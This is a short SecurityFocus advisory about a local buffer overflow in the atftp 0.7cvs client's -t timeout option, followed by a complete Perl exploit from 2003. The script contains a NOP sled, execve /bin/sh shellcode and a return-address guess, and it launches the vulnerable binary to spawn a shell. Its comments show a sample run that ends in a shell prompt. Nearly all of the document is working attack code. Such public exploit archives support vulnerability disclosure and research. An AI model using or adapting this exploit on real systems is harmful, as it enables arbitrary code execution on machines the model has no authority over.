source: http://www.securityfocus.com/bid/7902/info

atftp is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient bounds checking performed on input supplied to the command line parameter (-t) for "timeout".

Local attackers may exploit this condition to execute arbitrary instructions.

It should be noted that although this vulnerability has been reported to affect atftp version 0.7cvs, other versions might also be vulnerable. 

#!/usr/bin/perl
# Date : 6 June 2003
#
# expl-atftp.pl : Local buffer overflow exploit for
#                 atftp-0.7cvs (client)
#
# Exploit tested on RedHat 8
#
# [jlanthea@localhost ]$ perl expl-atftp.pl
# Atftp local exploit by jlanthea - 2003
# The new return address: 0xbffffb20
# Usage: option <option name> [option value]
#       option disable <option name>
# sh-2.05b$
#
# Author : Julien LANTHEA
# Mail   : jlanthea@jlanthea.net
# www    : jlanthea.net
#
# Syntax :
#    perl expl-atftp.pl <offset> # works for me with -50

$vuln="/usr/sbin/atftp";

$shellcode =
        "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0".
        "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd".
        "\x80\xe8\xde\xff\xff\xff/bin/sh";

$offset = "0";

if(@ARGV == 1) { $offset = $ARGV[0]; }
$nop     = "\x90";
$esp     = 0xbffffb20;

for ($i = 0; $i < (273 - (length($shellcode)) - 4); $i++) {
    $buffer .= "$nop";
    }

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset));

print("Atftp local exploit by jlanthea - 2003\n");
print("New return address: 0x",sprintf('%lx',($esp + $offset)),"\n");
exec("$vuln -t '$buffer'");

